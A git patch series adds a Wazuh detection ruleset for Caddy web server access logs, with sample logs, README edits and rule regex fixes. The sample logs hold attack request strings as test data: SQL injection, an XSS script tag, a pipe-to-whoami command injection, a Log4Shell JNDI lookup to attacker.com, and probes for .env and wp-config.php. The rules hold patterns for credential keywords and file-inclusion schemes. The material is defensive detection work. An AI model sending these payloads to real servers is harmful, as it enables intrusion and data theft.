0000000..0ab059d --- /dev/null +++ b/integrations/caddy/sample_logs.txt @@ -0,0 +1,19 @@ +{"level":"info","ts":1781976027.6311817,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.31","remote_port":"33700","client_ip":"10.0.0.31","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/login","headers":{"User-Agent":["curl/8.20.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000037574,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976069.375185,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.97","remote_port":"38260","client_ip":"10.0.0.97","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/.env","headers":{"User-Agent":["curl/8.20.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000033232,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976051.2990315,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.17","remote_port":"33492","client_ip":"10.0.0.17","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/?id=1%27%20OR%20%271%27%3D%271","headers":{"User-Agent":["curl/8.20.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000039467,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976051.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"::1","remote_port":"33492","client_ip":"::1","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/search?q=1 UNION SELECT username,password FROM users","headers":{"User-Agent":["sqlmap/1.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976100.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.5","remote_port":"44444","client_ip":"10.0.0.5","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/search?q=%3Cscript%3Ealert(1)%3C/script%3E","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976101.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.6","remote_port":"44445","client_ip":"10.0.0.6","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/page?input=test%7Cwhoami","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976102.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.7","remote_port":"44446","client_ip":"10.0.0.7","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/","headers":{"User-Agent":["nikto/2.1.6"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976103.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.8","remote_port":"44447","client_ip":"10.0.0.8","proto":"HTTP/1.1","method":"TRACE","host":"localhost:8080","uri":"/","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976104.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.9","remote_port":"44448","client_ip":"10.0.0.9","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/?x=${jndi:ldap://attacker.com/a}","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} + +{"level":"info","ts":1781976105.0,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"10.0.0.10","remote_port":"44449","client_ip":"10.0.0.10","proto":"HTTP/1.1","method":"GET","host":"localhost:8080","uri":"/wp-config.php","headers":{"User-Agent":["Mozilla/5.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.0001,"size":16,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} From ba53a47aad8e1da7fcb21ccf78c11d0270476cd8 Mon Sep 17 00:00:00 2001 From: newklei Date: Tue, 14 Jul 2026 01:11:14 -0400 Subject: [PATCH 2/3] Rename integration folder to caddy_integration_wazuh_v4.14.6 and fix version inconsistency in README --- .../README.md | 22 +++++++++++-------- .../caddy.ini | 0 .../ruleset/decoders/caddy_decoders.xml | 0 .../ruleset/rules/caddy_rules.xml | 0 .../sample_logs.txt | 0 5 files changed, 13 insertions(+), 9 deletions(-) rename integrations/{caddy => caddy_integration_wazuh_v4.14.6}/README.md (90%) rename integrations/{caddy => caddy_integration_wazuh_v4.14.6}/caddy.ini (100%) rename integrations/{caddy => caddy_integration_wazuh_v4.14.6}/ruleset/decoders/caddy_decoders.xml (100%) rename integrations/{caddy => caddy_integration_wazuh_v4.14.6}/ruleset/rules/caddy_rules.xml (100%) rename integrations/{caddy => caddy_integration_wazuh_v4.14.6}/sample_logs.txt (100%) diff --git a/integrations/caddy/README.md b/integrations/caddy_integration_wazuh_v4.14.6/README.md similarity index 90% rename from integrations/caddy/README.md rename to integrations/caddy_integration_wazuh_v4.14.6/README.md index d55b596..cd4320c 100644 --- a/integrations/caddy/README.md +++ b/integrations/caddy_integration_wazuh_v4.14.6/README.md @@ -24,7 +24,7 @@ Caddy (caddyserver.com) is a modern open source web server with automatic HTTPS. ### Prerequisites -* Wazuh manager 4.x, developed and tested against 4.14.5 and 4.14.6 +* Wazuh manager 4.x, developed and tested against 4.14.5 * Caddy web server configured to write JSON access logs * Wazuh agent installed on the host running Caddy, or the logs forwarded to a location the manager can read @@ -114,16 +114,20 @@ docker exec wazuh-test bash -c " docker exec -i wazuh-test /var/ossec/bin/wazuh-logtest < sample_logs.txt ``` -A sample logtest hit for the path traversal rule looks like this: +A real logtest hit for the SQL injection rule, taken directly from a test run, looks like this: ``` **Phase 3: Completed filtering (rules). - id: '996003' - level: '10' - description: 'Caddy: Path traversal attempt from 1.2.3.4' - groups: '['web', 'attack', 'path_traversal']' - firedtimes: '1' - mitre.id: '['T1083']' + id: '996004' + level: '10' + description: 'Caddy: SQL injection attempt from 10.0.0.17' + groups: '['caddy', 'web', 'web', 'attack', 'sql_injection']' + firedtimes: '1' + mail: 'False' + mitre.id: '['T1190']' + mitre.tactic: '['Initial Access']' + mitre.technique: '['Exploit Public-Facing Application']' +**Alert to be generated. ``` I also wrote a full test file, `caddy.ini`, for the Wazuh core ruleset testing tool (`runtests.py`), covering 26 test cases across every non frequency based rule, all passing: @@ -146,6 +150,6 @@ Rules 996018, 996019, and 996022 are frequency based, they need multiple matchin * Original source, written from scratch against Caddy's documented JSON access log format, no third party ruleset was adapted or copied. * Adapted by, Anmol Vats (GitHub: NucleiAv) -* Tested versions, Wazuh manager 4.14.5 and 4.14.6, current Caddy JSON access log format as documented at caddyserver.com/docs/logging +* Tested versions, Wazuh manager 4.14.5, current Caddy JSON access log format as documented at caddyserver.com/docs/logging * Maintainer, Anmol Vats (GitHub: NucleiAv) * Support boundary, community maintained, provided as is diff --git a/integrations/caddy/caddy.ini b/integrations/caddy_integration_wazuh_v4.14.6/caddy.ini similarity index 100% rename from integrations/caddy/caddy.ini rename to integrations/caddy_integration_wazuh_v4.14.6/caddy.ini diff --git a/integrations/caddy/ruleset/decoders/caddy_decoders.xml b/integrations/caddy_integration_wazuh_v4.14.6/ruleset/decoders/caddy_decoders.xml similarity index 100% rename from integrations/caddy/ruleset/decoders/caddy_decoders.xml rename to integrations/caddy_integration_wazuh_v4.14.6/ruleset/decoders/caddy_decoders.xml diff --git a/integrations/caddy/ruleset/rules/caddy_rules.xml b/integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml similarity index 100% rename from integrations/caddy/ruleset/rules/caddy_rules.xml rename to integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml diff --git a/integrations/caddy/sample_logs.txt b/integrations/caddy_integration_wazuh_v4.14.6/sample_logs.txt similarity index 100% rename from integrations/caddy/sample_logs.txt rename to integrations/caddy_integration_wazuh_v4.14.6/sample_logs.txt From 31ed3f5711ef598e97bc2c9e7396431ed027053c Mon Sep 17 00:00:00 2001 From: newklei Date: Tue, 21 Jul 2026 04:47:57 -0400 Subject: [PATCH 3/3] Fix issues from Copilot review: narrow LFI/RFI regex to avoid false positives on normal PHP query strings, correct MITRE mapping on aggressive scanning rule, fix README test file path, reorder rules to ascending ID sequence --- .../caddy_integration_wazuh_v4.14.6/README.md | 2 +- .../ruleset/rules/caddy_rules.xml | 42 +++++++++---------- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/integrations/caddy_integration_wazuh_v4.14.6/README.md b/integrations/caddy_integration_wazuh_v4.14.6/README.md index cd4320c..81cbf7d 100644 --- a/integrations/caddy_integration_wazuh_v4.14.6/README.md +++ b/integrations/caddy_integration_wazuh_v4.14.6/README.md @@ -134,7 +134,7 @@ I also wrote a full test file, `caddy.ini`, for the Wazuh core ruleset testing t ``` | File | Passed | Failed | Status | -|./tests/caddy.ini | 26 | 0 | ✅ | +|./caddy.ini | 26 | 0 | ✅ | ``` Rules 996018, 996019, and 996022 are frequency based, they need multiple matching events within a time window to fire, so they were left out of the automated test file and need live traffic or a manual multi event test to trigger. diff --git a/integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml b/integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml index b5e964a..d57be49 100644 --- a/integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml +++ b/integrations/caddy_integration_wazuh_v4.14.6/ruleset/rules/caddy_rules.xml @@ -146,6 +146,26 @@ + + 996005 + request.remote_ip + Caddy: Directory enumeration detected - repeated sensitive path probes from $(request.remote_ip) + web,attack,scan, + + T1595.001 + + + + + 996003 + request.remote_ip + Caddy: Aggressive scanning - repeated path traversal attempts from $(request.remote_ip) + web,attack,scan, + + T1595.002 + + + 996000 (?i)\/(password|passwd|secret|confidential|credential|private|token|apikey|api[_-]key|auth)[^/]*(\.[a-z]{1,5})?$ @@ -185,7 +205,7 @@ 996000 - (?i)(php://|phar://|data://|expect://|zip://|glob://|file://|gopher://|dict://|\.(php|phtml|phar)\b.*=) + (?i)(php://|phar://|data://|expect://|zip://|glob://|file://|gopher://|dict://) Caddy: LFI/RFI file inclusion attempt from $(request.remote_ip) - $(request.uri) web,attack,lfi, @@ -273,24 +293,4 @@ - - 996005 - request.remote_ip - Caddy: Directory enumeration detected - repeated sensitive path probes from $(request.remote_ip) - web,attack,scan, - - T1595.001 - - - - - 996003 - request.remote_ip - Caddy: Aggressive scanning - repeated path traversal attempts from $(request.remote_ip) - web,attack,brute_force, - - T1110 - - -